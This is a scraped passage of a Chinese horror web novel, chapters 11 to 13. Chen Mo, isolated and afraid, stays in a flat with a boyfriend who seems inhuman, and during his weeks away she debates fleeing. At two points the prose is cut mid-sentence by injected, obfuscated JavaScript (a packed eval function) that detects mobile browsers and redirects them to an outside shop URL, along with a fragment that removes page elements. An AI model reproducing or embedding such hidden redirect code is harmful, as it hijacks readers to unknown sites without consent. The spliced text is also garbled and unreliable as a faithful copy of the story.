陈默送他到门口,他回头看了她一眼。 那一眼,有点长。 “嫂子,保重。” 陈默愣了一下。 保重? 他说保重? 但没等她问,他已经转身走了。 他走得很快,几乎是跑着下楼的。皮鞋踩在楼梯上,咚咚咚,越来越远,然后消失了。 陈默站在门口,看着那个方向。 老马在怕什么? 他看见什么了? 她不知道。 但她知道,她不想知道。 她关上门,回到客厅。 王志强坐在沙发上,看着她。 “他走了?” “嗯。” “过来坐。” 她走过去,坐下。 他看着她,脸上带着那个笑。 那个贴上去的笑。 “你今天表现不错。” 陈默没说话。 “没说话,很好。” 他还是笑着。 但那个笑,让她后背发凉。 她看见他的嘴张开的时候,里面还是黑的。 现在不是一片黑了。 是有什么东西,在动。 在黑暗里动。 她移开目光。 但他伸出手,把她的脸扳过来。 那只手,凉得像冰。 “看着我。”他说。 她看着他的眼睛。 那两只发光的眼睛。 “你知道,”他说,“我等这一天等了多久吗?” 她没说话。 “三年。”他说,“三年了。” 三年。 他等什么等了三年? “你刚来的时候,”他说,“身上什么都没有。” 什么都没有? 什么意思? “没有味道。”他说,“没有人味。” 人味。 他说过这个词。 那天晚上,他说她身上 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她盯着那个蠕动,盯了一夜。 天亮的时候,那个坑变浅了一点。 不是恢复,是缩回去了。 像有什么东西,在天亮之前,缩回去了。 陈默站起来,走到卧室门口。 门关着。 她把耳朵贴上去,听。 里面没有声音。 没有呼吸声。 什么都没有。 她推开门。 床上是空的。 被子叠得整整齐齐,枕头放得端端正正。 没有人。 但床单上,有一个印子。 一个人形的印子。 深深的,陷进去的。 和沙发上的印子一样。 她站在门口,看着那个印子。 然后她闻到那个味道了。 从床上散发出来。 从那个人形里散发出来。 更浓了。 浓到她几乎站不住。 她退出来,关上门。 走进卫生间,打开水龙头。 水哗哗流着。 她把手伸进去。 凉的。 水是凉的。 但她不在乎。 她把手放在水里,看着水流过她的手。 她的手,是正常的。 有皱纹,有毛孔,有温度。 她的手,还是她的手。 她捧起一捧水,扑在脸上。 凉的。 但那个凉,让她清醒了一点。 她抬起头,看镜子。 镜子里的那个人,她不认识了。 眼袋黑得像两个洞,脸色灰白,嘴唇发紫。下巴上的痘,已经连成一片,红红的,肿肿的,像要烂了。 但最可怕的是眼睛。 那两只眼睛,在看着她。 但不是她平时看自己的那种看。 是别的。 像另一个人,藏在镜子里,透过她的眼睛,在看她。 她盯着那双眼睛。 那双眼睛也盯着她。 她眨了一下眼。 那双眼睛没眨。 她往后退了一步。 那双眼睛没动。 就那样看着她。 她转身跑出卫生间。 靠在墙上,大口喘气。 客厅里,那个坑还在。 那个味道还在。 那个凉,还在她脸上。 八 陈默没去上班。 她给周行长发微信,说身体不舒服,请假一天。 周行长没回。 她把手机放下,坐在沙发上,盯着那个坑。 不知道过了多久,卧室门开了。 王志强走出来。 他从哪出来的? 她明明看过,床上没人。 但他就是从卧室走出来的。 穿着那件睡衣,脸上带着那个笑。 “早。”他说。 陈默没说话。 他走到她面前,低头看着她。 那两只眼睛,在早上的光线里,发着光。 “你今天,”他说,“别出门了。” 陈默攥紧手指。 “就在家待着。” 她看着他。 “等我晚上回来。” 他转身,走进卫生间。 门关上了。 陈默坐在沙发上,听着卫生间里的动静。 没有水声。 什么都没有。 过了几分钟,门开了。 他走出来,换了衣服,拿起车钥匙。 走到门口,他回头看了她一眼。 那一眼,很长。 “别出门。”他说。 门关上了。 陈默坐着,一动不动。 她听见他的脚步声在走廊里远去,听见电梯门打开又关上,听见一切归于寂静。 她站起来,走到窗边,往下看。 他的车从地下车库开出来,驶上马路,消失在车流里。 她站在窗边,看了很久。 然后她转身,看着这个家。 沙发上的坑。 卧室里的人形。 空气里的味道。 她突然想起一件事。 那张纸条的第五条。 如果他在KTV点了陪酒女,而那个女人朝你看了一眼——跑。能跑多远跑多远。 她没见过陪酒女。 但那条规则,说的是“跑”。 不是“等”,不是“忍”,不是“数到三十”。 是“跑”。 她站在客厅中央,看着那扇门。 门关着。 钥匙在桌上。 她可以跑。 现在就跑。 趁他不在,跑。 她往前走了一步。 又停住了。 跑? 跑哪儿去? 回妈妈那儿?妈妈不要她了。 去朋友那儿?早就没朋友了。 住酒店?那点存款,够住几天? 跑了之后呢? 他能找到她吗? 那两只发光的眼睛,能在黑暗里看见她吗? 她不知道。 但她知道,如果跑不掉,被抓回来,会发生什么。 她看着沙发上的那个坑。 那个坑,是给他躺的。 她躺上去,会变成什么样? 她不知道。 但她知道,她不想知道。 她走到门口,拿起钥匙。 手放在门把手上。 凉。 门把手是凉的。 她深吸一口气,拧开。 门开了。 走廊空无一人。 声控灯亮了一下,又灭了。 她站在门口,看着那片黑暗。 然后她听见一个声音。 从身后传来。 “你去哪儿?” 她慢慢转过头。 王志强站在客厅里。 他不知道什么时候回来的。 从哪回来的? 门一直开着,她没看见他进来。 但他就在那儿。 站在沙发旁边,看着她。 那两只眼睛,发着光。 “我问你,”他说,“你去哪儿?” 陈默攥紧钥匙。 钥匙扎进肉里,疼。 但她不敢动。 他走过来。 一步一步。 每一步,都踩在她的心跳上。 走到她面前,停下来。 低头看着她。 那两只发光的眼睛,离她不到十厘米。 她看见他眼睛里的东西。 不是眼珠,不是瞳孔。 是别的。 是黑暗。 是无尽的黑暗。 “你想跑?”他问。 她没说话。 他伸出手,放在她肩膀上。 那只手,凉得像冰。 沉得像石头。 “你跑不掉的。”他说。 他笑了。 那个笑,从那个黑洞里出来。 “你忘了,”他说,“你是我养的。” 养的。 像养一只鸡,一头猪。 养肥了,就可以吃了。 陈默闭上眼。 脑子里只有一个数字在转。 三十。 二十九。 二十八。 --- 第十一章完 12. 第十二章 他不在的夜晚 第十二章他不在的夜晚 一 陈默睁开眼的时候,天已经黑了。 她不知道自己什么时候睡着的,也不知道睡了多久。只记得王志强最后看她的那个眼神——那两只发光的眼睛,盯着她,然后他转身走了。 走了。 门关上的声音,她还记得。 然后她就瘫在门口的地上,靠着墙,不知道坐了多久。后来大概是睡着了。 现在她睁开眼,客厅里一片漆黑。 窗帘拉得严严实实,一点光都透不进来。她伸手摸手机,按亮屏幕,看了一眼时间。 晚上八点四十七分。 她睡了整整一天? 不对。 她看了一眼日期。 还是同一天。 那就是从下午睡到了晚上。 她撑着地站起来,腿麻得站不稳,扶着墙等了好一会儿,血液才重新流过去。 客厅里很安静。 太安静了。 平时这个时候,总有电视声,总有脚步声,总有那个呼吸声。 但现在什么都没有。 她想起王志强走的时候说的话。 “我晚上不回来了。” 她当时没反应。他说这句话的时候,已经走到门口了,回头看了她一眼,说了这六个字,然后门关上了。 不回来了。 今晚不回来了。 陈默站在黑暗里,慢慢消化着这几个字。 今晚,他不在。 这个念头一出现,她整个人像被什么东西击中了一样——先是愣住,然后是一阵说不清的感觉从心底涌上来。 是害怕吗?不是。 是高兴吗?也不是。 是一种……空。 像一直被什么东西压着,现在那个东西突然移开了,她反而站不稳了。 她扶着墙,慢慢走到沙发边,坐下。 那个坑还在。 黑暗中她看不见,但她能感觉到。一坐下,身体就陷进去一块,往那个坑的方向歪。 她赶紧站起来,走到另一边坐下。 坐着,听着自己的呼吸。 他不在。 今晚,他不在。 二 不知道坐了多久,陈默站起来,打开了灯。 灯光亮起来的那一刻,她眯了眯眼。太久没开灯了,眼睛不适应。 她站在客厅中央,看着这个家。 沙发上的坑,比早上更深了。边缘已经塌下去,像有什么东西把沙发垫压穿了。 茶几上还放着昨天的茶杯,茶早就凉了,水面上飘着一层灰。 地上有几件衣服,不知道是他扔的还是她掉的。 空气里那股味道,还在。 但比他在的时候淡了一点。 也许是她的错觉。 她走进卧室。 床上的那个人形印子,也更深了。整个床垫都陷下去一块,像一个巨大的手掌在上面按了一下,按出一个坑。 她站在床边,看着那个坑。 她想起那天晚上,她躺在旁边,他伸手摸她的脸。 那只手,凉的。 她想起那天早上,她起来的时候,他已经坐在客厅了。 她没听见他起床的声音。 她没听见任何声音。 她转身走出卧室,走进卫生间。 镜子里的自己,还是那个人。 眼袋,痘,灰白的脸色。 但好像没那么可怕了。 也许是因为他在不在。 她打开水龙头,洗了把脸。 水是凉的,激得她精神一振。 她抬起头,看着镜子里的自己。 那双眼睛,还是她的。 没有发光。 她盯着那双眼睛看了很久。 然后她关掉灯,走出卫生间。 三 陈默在客厅里站了一会儿,不知道该干什么。 三年了,她从来没有一个人在这个家里待过。 王志强总是不在。但她一个人在家的时候,知道他随时会回来。知道他可能在路上,可能在楼下,可能在任何一个下一秒推门进来。 所以她从来不算真正的一个人。 但今晚,他说不回来了。 今晚,他是真的不在。 她不知道该怎么面对这个“不在”。 她走到厨房,打开冰箱。 冰箱里空空的,只有几个鸡蛋,半棵白菜,还有那盒过期的牛奶。她盯着那盒牛奶,想起昨天那桌菜——那些菜是哪来的?他买的?还是…… 她没往下想。 关上冰箱,走到客厅,拿起手机。 手机上有几条微信,工作群的,她懒得看。还有一条是老张发的,问她明天能不能换班。她回了个“好”。 然后她翻到妈妈的对话框。 最后一条消息还是两个月前的。 她妈说:你什么时候回来一趟? 她没回。 她盯着那个对话框,盯了很久。 然后她把手机放下。 她不知道该跟妈妈说什么。 说妈,我男朋友可能不是人? 说妈,他从来不洗澡,他摸我的时候手是凉的,他眼睛会发光,他说我熟了? 她妈会信吗? 不会。 她妈只会说:我早就告诉过你,你活该。 她把手机扣在沙发上,站起来。 走到窗边,拉开一点窗帘,往外看。 外面是城市的夜晚,万家灯火,车流不息。对面那栋楼,很多窗户亮着灯,有人在走动,有人在做饭,有人在看电视。 很正常的世界。 她的世界,已经不正常了。 四 陈默在窗边站了很久。 然后她做了一个决定。 她要看看这个家。 真正地看看。 他不在的时候,这个家是什么样的。 她先从客厅开始。 茶几上那杯茶,她端起来闻了闻。 没味道。 就是普通的隔夜茶,带点茶垢的涩味。 她把茶倒了,把杯子洗了,放回原位。 然后是地上的衣服。 两件是他的,一件是她的。她把他的捡起来,凑到鼻子前闻了闻。 那股味道。 比空气里浓得多。 像是从衣服里渗出来的,洗都洗不掉的味道。 她把他的衣服扔进洗衣机,倒上洗衣液,按了启动键。 洗衣机开始转动,水哗哗响着。 她站在洗衣机前,看着里面的衣服在翻滚。 水是清的。 衣服在里面转,水慢慢变浑。 但那个味道,还在。 洗不掉。 她关上洗衣机盖子,转身走开。 然后是沙发。 她走到沙发前,蹲下来,看着那个坑。 坑的边缘,是塌陷下去的。她伸手摸了摸——湿的。 不是水的那种湿。 是黏的。 像有什么东西从里面往外渗。 她把手收回来,凑到鼻子前闻。 就是那个味道。 她站起来,退后一步。 然后她做了一个更大胆的决定。 她把沙发垫掀开了。 五 沙发垫下面,是沙发底座。 木头的,钉着一层布。 但那层布上,有一块黑。 不是普通的黑,是那种浸透了的黑,像有什么液体从上面渗下来,渗进布里,渗进木头里。 陈默盯着那块黑,看了很久。 然后她伸手,碰了碰。 湿的。 黏的。 凉的。 她把手指收回来,借着灯光看。 手指上沾了一点东西,黑黑的,黏黏的,像油,又不像油。 她凑近闻。 那个味道。 浓得她差点吐出来。 她赶紧在衣服上擦掉,把沙发垫盖回去。 站在那儿,大口喘气。 那个黑东西,是什么? 是他躺出来的吗? 他躺了三年,躺出这么个东西? 她不知道。 但她知道,她不敢再看了。 六 陈默走进卧室。 床上那个人形印子,她也要看看。 她走到床边,掀开被子。 床单上,有一个人形的轮廓。 不是脏,是压出来的印子。但那个印子,太深了。深到床单都陷进去了,深到下面的床垫都陷进去了。 她伸手摸了摸那个人形。 从头部开始。 头的地方,是空的。就是压出来的一个坑,没什么特别。 但往下摸,到胸口的时候,她的手停住了。 那里,有一块硬的东西。 不是床垫的那种软,是硬的,像有什么东西藏在床垫里面。 她按了按。 那块硬的,会动。 不是她在动它,是它自己在动。 像心跳。 一下,一下,一下。 陈默的手僵在那儿。 那个东西,在她手底下,一下一下地动。 像一颗心脏。 藏在床垫里的心脏。 她猛地缩回手,退后几步,撞在衣柜上。 床单还掀着,那个人形印子还在。 但她不敢再碰了。 她盯着那个地方,盯了很久。 那个地方,还在动。 一下,一下,一下。 很慢,很规律,像一个人的心跳。 但那个人,不在床上。 那个人,不在家。 那个心跳,是谁的? 七 陈默退出卧室,关上房门。 她站在客厅里,浑身发抖。 这个家,不是她的家。 是一个什么东西住的地方。 她在这里住了三年,睡在那个东西旁边,吃那个东西做的饭,让那个东西摸她的脸。 三年。 她突然想吐。 她冲进卫生间,趴在马桶上,干呕。 什么都吐不出来。 她已经很久没好好吃饭了。 她跪在那儿,抱着马桶,大口喘气。 镜子里,她看见自己的脸。 灰白,浮肿,眼睛下面两个黑洞。 那个人,是她吗? 还是她也快变成那样了? 她站起来,走到洗手池前,打开水龙头,拼命洗脸。 水很凉,冲在脸上,有点疼。 她洗了一遍,又洗了一遍,又洗了一遍。 直到脸被洗得发红,她才停下来。 抬起头,看镜子。 镜子里那个人,也在看她。 但这一次,那个人的眼睛,眨了一下。 她没眨。 陈默盯着镜子里的自己。 那个人也盯着她。 她慢慢抬起手,摸了摸自己的脸。 镜子里的那个人,也抬起手,摸了摸脸。 动作一样。 但那个人的嘴,在笑。 她没笑。 陈默猛地后退一步。 镜子里的那个人,还在笑。 那个笑,和王志强那个笑一样——贴上去的,不动的,不属于那张脸的。 她转身跑出卫生间。 八 陈默坐在沙发上,蜷成一团,抱着膝盖。 她不敢再去任何地方了。 客厅里很安静。只有洗衣机还在转,嗡嗡嗡的,像一只巨大的虫子在叫。 她听着那个嗡嗡声,慢慢冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387624|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静下来。 他不在。 今晚他不在。 这是她唯一的机会。 她不知道这个机会意味着什么,但她知道,她必须做点什么。 她站起来,走到门口,拿起钥匙。 她要出去。 离开这个家。 哪怕只离开一会儿。 她拧开门,走出去。 走廊里空无一人。声控灯亮了,又灭了。 她站在门口,回头看了一眼这个家。 门开着,里面亮着灯。沙发上的坑,茶几上的灰,空气里的味道。 她看了三秒。 然后她关上门,转身走向电梯。 九 电梯下行的时候,陈默靠在电梯壁上,闭着眼。 电梯里只有她一个人。灯很亮,照得她睁不开眼。 但她觉得安全。 这个小小的铁盒子,是他不在的地方。 一楼到了。 门开了。 她走出去。 小区里很安静,路灯亮着,树影摇着。有人在遛狗,有小孩在跑,有老人在下棋。 很正常的世界。 陈默站在那儿,看着那些人。 他们不知道她是谁。 他们不知道她刚从什么地方出来。 她突然想哭。 但她忍住了。 她往前走,走出小区,走到街上。 街上还有很多人。夜宵摊子冒着热气,烧烤的香味飘过来。有人在喝酒,有人在笑,有人在吵架。 她走在人群里,没有人看她。 她就是一个普通的女人,二十八岁,穿着普通的衣服,走在普通的街上。 没有人知道她经历过什么。 她走着走着,走到一个便利店门口。 她走进去。 便利店很小,只有一个店员在收银台后面看手机。货架上摆着各种东西,吃的,喝的,日用品。 她拿了一瓶水,一包饼干,走到收银台前。 店员抬头看了她一眼,低头扫码。 “六块五。” 她付了钱,拿着东西走出便利店。 站在门口,她拧开水,喝了一口。 水是凉的,甜的。 她很久没喝过这么甜的水了。 她又喝了一口。 然后她看见对面的马路。 马路对面,是一个小区。 妈妈住的小区。 她站在那儿,看着那个小区。 妈妈就在里面。 走进去,坐电梯,到七楼,敲门,就能见到妈妈。 但她没动。 她看着那个小区,看了很久。 然后她转身,往回走。 十 回到楼下的时候,陈默站住了。 她抬头看七楼的窗户。 黑的。 他没回来。 她松了一口气,走进去,坐电梯,上楼。 站在家门口,她掏出钥匙。 但她没马上开门。 她想起规则第一条。 数到三十,再开门。 他不在,但她还是开始数。 一、二、三…… 数到三十。 她打开门。 屋里还是那样。灯亮着,沙发上的坑还在,空气里的味道还在。 但他在吗? 她不知道。 她走进去,关上门。 先看客厅。 没人。 再看卧室。 没人。 再看卫生间。 没人。 厨房,阳台,衣柜后面——都没人。 他真的不在。 陈默站在客厅中央,慢慢放松下来。 但就在这时,她听见一个声音。 从沙发那边传来的。 咚。 咚。 咚。 她慢慢转过头,看向沙发。 那个坑里,有什么东西在动。 不是蠕动,是心跳的那种动。 一下,一下,一下。 和床垫里那个心跳,一样的节奏。 陈默盯着那个坑,一步一步往后退。 咚。 咚。 咚。 那个心跳,越来越响。 她退到门口,手摸到门把手。 她拧开门,冲出去。 门在身后关上。 她站在走廊里,大口喘气。 那个心跳声,还在耳边响。 咚。 咚。 咚。 她知道,那不是心跳。 那是别的东西。 那是他留下的东西。 那是三年躺出来的东西。 那是——他的一部分。 十一 那一夜,陈默在走廊里坐了一夜。 她不敢再进去。 她靠着墙,缩成一团,盯着那扇门。 门关着。 里面的灯还亮着。 那个心跳声,她听不见了。 但她知道,它还在。 一直在。 天亮的时候,她站起来。 腿麻了,站不稳。她扶着墙等了一会儿,然后掏出手机,看了一眼时间。 早上六点二十。 她深吸一口气,掏出钥匙,开门。 门开了。 客厅里,那个坑还在。 但那个心跳声,没了。 她站在门口,看了很久。 然后她走进去。 沙发上,那个坑,浅了一点。 她不知道这意味着什么。 但她知道,他快回来了。 她必须在他回来之前,决定一件事。 跑,还是不跑。 --- 第十二章完 13. 第十三章 无处可去 第十三章无处可去 一 陈默站在客厅中央,看着那扇门。 门关着。 她站了很久。 然后她走到沙发前,坐下。 那个坑还在,但浅了一点。她坐在沙发的另一头,尽量离那个坑远一点。 手机握在手里,屏幕黑着。 她盯着那团黑,脑子里反复响着一个问题: 跑,还是不跑? 她站起来,走到窗边,拉开窗帘。 外面是城市的早晨,太阳刚升起来,把对面楼的玻璃窗照成金色。有人在阳台上晾衣服,有小孩背着书包去上学,有老人在小区里散步。 很正常的世界。 她看着那些人,看了很久。 然后她转身,看着这个家。 沙发上的坑,茶几上的灰,空气里那股淡淡的、油油的、腻腻的味道。 她在这个家里住了三年。 三年。 她想起刚搬来那天。那时候她二十五岁,拖着行李箱站在门口,王志强帮她开门,笑着说“以后这儿就是你家”。 那时候她觉得,终于有地方去了。 妈妈不要她了,她还有他。 现在呢? 她还有谁? 她掏出手机,打开通讯录。 从上往下翻。 第一个是“妈妈”。最后一条消息两个月前,她没回。 第二个是“爸爸”。爸爸很少发消息,偶尔发也是转发的养生文章。 第三个是“周行长”。工作关系。 第四个是“老张”。同事。 第五个是“王志强”。 再往下翻,还有几十个名字。但那些名字,她已经很久没联系过了。有的甚至想不起来是谁。 她盯着那些名字,盯了很久。 然后把手机放下。 她能去哪儿? 回妈妈那儿? 妈妈说了,当她死了。 她能想象那个画面——她拖着行李箱站在门口,妈妈开门,看见她,脸上什么表情都没有。然后妈妈说:“回来了?还知道回来?” 她能承受那个吗? 她不知道。 去朋友那儿? 她没有朋友了。 三年了,王志强不喜欢她和以前的朋友来往。一开始是“那个谁谁谁不行,别跟她玩了”,后来是“你那些朋友有什么用,能帮你什么”,再后来她就不联系了。 最后一次联系,是去年春节。她给一个老同学发微信拜年,对方回了四个字:“新年快乐。” 然后就没了。 她有什么资格去找人家? 住酒店? 她算过存款。不到两万块。住快捷酒店,一天两百,一个月就是六千。不到三个月,她就得睡大街。 租房? 押一付三,最少也要七八千。租完就剩一万多,然后呢?吃饭呢?交通呢?她那份工资,够干什么? 她算过无数次了。 每一次算完,答案都一样。 没地方去。 二 陈默在窗边站了很久。 然后她放下窗帘,走回沙发,坐下。 手机又亮了。 工作群的消息。 她点开看了一眼。 周行长在@所有人:今天外拓,九点集合,不得请假。 她盯着那行字,看了几秒。 外拓。 商场门口,站六个小时,发传单,拉人办信用卡。 她以前最讨厌这个。 但现在看着,突然觉得有点亲切。 至少那是正常的。 至少那些事是她会的。 她站起来,走进卫生间,洗漱,换衣服,化妆。 镜子里的自己,还是那个人。 眼袋,痘,灰白的脸色。 但她今天没时间多看。 她得去上班。 三 外拓站在商场门口,太阳很大。 陈默穿着行服,站在太阳底下,手里拿着一沓传单。路过的人,她递一张,说一句“办信用卡吗”,大多数人不接,直接走过去。 她就这样站着,站了三个小时。 脚已经肿了,小腿酸疼。后背的汗把衬衫浸湿了,黏黏的贴着肉。 但她没动。 就这么站着。 老张在旁边抽烟,看她一眼。 “陈默,你休息会儿,我来发。” 陈默摇摇头。 “没事。” 老张没再说什么。 又站了一个小时。 中午休息的时候,陈默坐在商场门口的花坛边,吃着盒饭。 盒饭是统一订的,两荤一素,味道一般。但她吃着,觉得还行。 至少是热的。 至少是人吃的。 老张坐过来,跟她并排坐着。 “陈默,你最近是不是有什么事?” 陈默愣了一下。 “什么?” “我看你最近状态不对。”老张看着她,“脸色也不好,话也少了。是不是家里出什么事了?” 陈默低下头,继续吃饭。 “没有。” 老张看了她一会儿,没再问。 吃完饭,下午继续站。 站到五点半,收工。 陈默坐地铁回家。 站在家门口的时候,她又停住了。 深吸一口气,掏出钥匙,开门。 屋里没人。 王志强还没回来。 她换了鞋,放下包,坐在沙发上。 盯着那个坑。 那个坑,又浅了一点。 她不知道这意味着什么。 但她知道,他没回来是好事。 至少今晚,她可以一个人睡。 四 一天,两天,三天。 王志强一直没回来。 陈默每天上班,下班,回家,睡觉。生活突然变得很简单。 没有砸门声,没有骂人声,没有那个呼吸声。 没有那只凉的手摸她的脸。 没有那两只发光的眼睛盯着她。 只有她一个人。 一开始她不习惯。总是忍不住回头,总觉得背后有人。晚上睡觉的时候,卧室门必须开着,不然会害怕。半夜醒来好几次,竖起耳朵听动静。 但慢慢的,她开始适应了。 一个人的生活。 上班,下班,吃饭,睡觉。 不用看谁的脸色,不用听谁骂人,不用给谁倒洗脚水。 她甚至开始享受这种感觉。 第四天晚上,她做了顿饭。 简单的西红柿炒蛋,加一个紫菜汤。她坐在饭桌前,一个人吃。 吃着吃着,眼泪掉下来了。 不是难过。 是不知道为什么。 就是突然想哭。 她放下筷子,坐在那儿,哭了很久。 哭完,擦干眼泪,继续吃饭。 吃完饭,洗碗,洗澡,睡觉。 一夜无梦。 五 第五天,第六天,第七天。 王志强还是没回来。 也没有任何消息。 手机上一句话都没有。 陈默有时候会拿起手机,看着他的对话框。最后一条消息还是那天他发的:“我晚上不回来了。” 她盯着那行字,盯很久。 然后放下手机。 她想给他发消息吗? 不想。 她害怕。 害怕他回消息,害怕他不回消息,害怕他回消息之后又要发生什么。 所以她不发。 就这样过。 第八天晚上,陈默躺在床上,盯着天花板。 天花板还是那个天花板,灰白色,有一点光从窗帘缝里漏进来。 她盯着那点亮,突然想起一个问题。 他到底去哪儿了? 出差? 出什么差? 去多久? 为什么不发消息? 她不知道。 但她开始想了。 第九天,第十天。 她开始越来越频繁地看手机。 看他的对话框。 看有没有新消息。 没有。 一直没有。 第十一天晚上,她躺在床上,翻来覆去睡不着。 脑子里全是问题。 他去哪儿了? 他还会回来吗? 他是不是不要她了? 这个念头一冒出来,她吓了一跳。 她居然在担心他不要她? 她不是应该希望他永远别回来吗? 她不是应该趁这个机会跑吗? 但她没跑。 她还在这个家里。 每天上班,下班,吃饭,睡觉。 等着他回来。 她为什么等他? 她不知道。 但她就是睡不着。 六 第十二天晚上,陈默终于忍不住了。 她拿起手机,打开王志强的对话框。 打了一行字: “你什么时候回来?” 盯着看。 删掉。 又打: “在吗?” 删掉。 又打: “你还好吗?” 删掉。 她盯着那个空白的对话框,盯了很久。 然后她按下了通话键。 嘟——嘟——嘟—— 每一声,都像砸在她心上。 接了。 “喂?” 那个声音。 和平时一样,又不一样。隔着电话,听不出什么异常。 陈默张了张嘴。 “你……在哪儿?” 那边顿了一下。 “出差。怎么了?” 出差。 真的出差。 “哦。”她说,“没事,就是问问。” 那边又顿了一下。 “嗯。过几天回去。” 挂了。 陈默举着手机,听着忙音。 忙音响了很久。 她把手机放下,躺在床上,盯着天花板。 出差。 过几天回来。 就是这样。 她不知道自己是松了一口气,还是更害怕了。 七 第十三天,第十四天,第十五天。 陈默继续过着一个人的生活。 上班,下班,吃饭,睡觉。 那个坑越来越浅了。现在已经看不出来了,只有仔细看,才能看出那一块稍微有点塌。 空气里的味道也淡了。要凑近了闻,才能闻到一点点。 床上的那个人形印子,也浅了很多。 这个家,正在慢慢变回正常。 就像他从来没存在过。 陈默有时候会想,如果他一直不回来,是不是就这样了? 她就这么一个人过下去。 上班,下班,吃饭,睡觉。 一个人。 没有砸门声,没有骂人声,没有那只凉的手。 挺好的。 但她也知道,他会回来的。 他说过几天回来。 过几天是几天? 她不知道。 她只知道,在他说“过几天”之后,已经又过了三天。 他还是没回来。 八 第十六天晚上,陈默坐在沙发上,看着电视。 电视开着,放什么综艺节目,罐头笑声一阵一阵的。 她盯着屏幕,什么都没看进去。 脑子里在想一件事。 如果他就这样不回来了,她会怎么样? 继续上班,下班,吃饭,睡觉。 一个人住在这个房子里。 房租谁交?他交的。水电费谁交?他交的。这个房子是他的,不是她的。 如果他不回来,这些费用怎么办? 她交得起吗? 她算过,房租至少三千五,水电燃气加起来三四百,加上吃饭交通,一个月下来,她工资刚够,一分不剩。 但那是如果她不付房租的情况下。 如果她开始付房租,每个月至少多出三千五的开销。 她付不起。 除非她换房子,换个小点的,便宜点的。 但那也要钱。 押一付三,至少七八千。 她拿不出来。 而且,如果他回来了呢? 如果他回来了,发现她搬走了,会怎样? 她不敢想。 所以她就这么住着。 等着他回来。 或者等着他不回来。 她不知道哪个更可怕。 九 第十七天晚上,陈默躺在床上,盯着天花板。 脑子里又开始想那些问题。 从小到大,她好像一直在等。 等妈妈下班,等爸爸回家,等考试结果,等录取通知书,等工作机会,等王志强回来。 等,等,等。 永远是等。 永远是被动的那个。 小时候,妈妈说“你要听话”,她就听话。老师说“你要好好学习”,她就好好学习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387625|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。工作了,领导说“你要努力”,她就努力。王志强说“你要懂事”,她就懂事。 她听话了二十八年。 听话的结果是什么? 妈妈不要她了。 王志强…… 她不知道。 但她知道,她从来没想过,可以不听话。 可以跑。 可以去一个没人认识的地方,重新开始。 但这个念头一冒出来,就被另一个念头压下去了。 去哪? 钱呢? 工作呢? 一个人,能活吗? 她不知道。 从小到大学会的那些东西,从来没教过她这些。 她们只教她,要听话,要懂事,要忍耐。 忍耐下去,一切都会好的。 真的会好吗? 她看着天花板。 天花板是灰白色的。 和二十年前她老家那个天花板,一样的灰白色。 她盯着那片灰白,突然想起小时候。 那时候她七八岁,躺在床上睡不着,盯着天花板。她妈在外面打电话,声音很大,是在跟谁吵架。她爸坐在客厅里抽烟,不说话。 她躺在那儿,想:等我长大了,一定要离开这里。 后来她长大了。 她离开家了。 但她只是换了一个天花板。 还是灰白色的。 还是一个人躺着。 还是等。 十 第十八天早上,陈默醒来的时候,发现枕头湿了一片。 她不知道自己什么时候哭的。 也许做梦了,也许没有。 她坐起来,擦干脸,去洗漱。 镜子里的自己,眼袋没那么重了。痘也消了一点。脸色还是不好,但比之前强。 她盯着镜子里的自己,看了很久。 然后她洗脸,刷牙,化妆,换衣服,上班。 地铁上人很多,她被挤在中间,动弹不得。 旁边有两个女孩在聊天,声音很大。 “我跟你说,我受不了了,我要分手。” “为什么?” “他太烦了,天天管我,我都快窒息了。” “那就分啊。” “可是……我们在一起三年了。” 陈默听着,突然想笑。 三年。 又是三年。 她转过头,看着那两个女孩。 二十出头,脸上满满的都是胶原蛋白,眼睛亮亮的,带着那种年轻人特有的天真。 她们不知道三年意味着什么。 她们不知道三年可以把一个人磨成什么样。 她们不知道三年之后,她们可能也会变成她这样。 她收回目光,盯着车窗。 车窗上映出她的脸,模模糊糊的。 那张脸,没有表情。 十一 晚上回到家,陈默做了饭。 还是简单的西红柿炒蛋,加一个紫菜汤。 她一个人吃。 吃着吃着,手机响了。 她拿起来看。 王志强的名字在屏幕上亮着。 她盯着那两个字,看了三秒。 然后接起来。 “喂?” “明天回去。” 就四个字。 然后挂了。 陈默举着手机,听着忙音。 忙音响了很久。 她把手机放下,继续吃饭。 但饭已经凉了。 她夹了一筷子,放进嘴里。 什么味道都没有。 她嚼着,咽下去。 又夹了一筷子。 还是什么味道都没有。 她放下筷子,坐在那儿,盯着那盘菜。 明天回去。 他明天回来。 她等了十八天。 等他回来。 他真的回来了。 她应该高兴吗? 还是害怕? 她不知道。 她只知道,从明天开始,那个味道会回来。 那个坑会变深。 那只凉的手会再摸她的脸。 那两只发光的眼睛会再在黑暗里盯着她。 她又要开始数三十秒了。 她坐着,坐了很久。 然后她站起来,把碗收了,洗了,放好。 走进卧室,躺下。 盯着天花板。 天花板还是灰白色的。 和十八天前一模一样。 她盯着那片灰白,一直盯到天亮。 十二 早上七点,陈默醒了。 她不知道自己什么时候睡着的。 她坐起来,去洗漱,换衣服,化妆。 镜子里的自己,又变回原来的样子。 眼袋,痘,灰白的脸色。 她盯着那张脸,看了很久。 然后她拿起包,出门。 走到门口的时候,她停了一下。 回头看了一眼这个家。 沙发上的坑,又变深了一点。 只是一点,但她看见了。 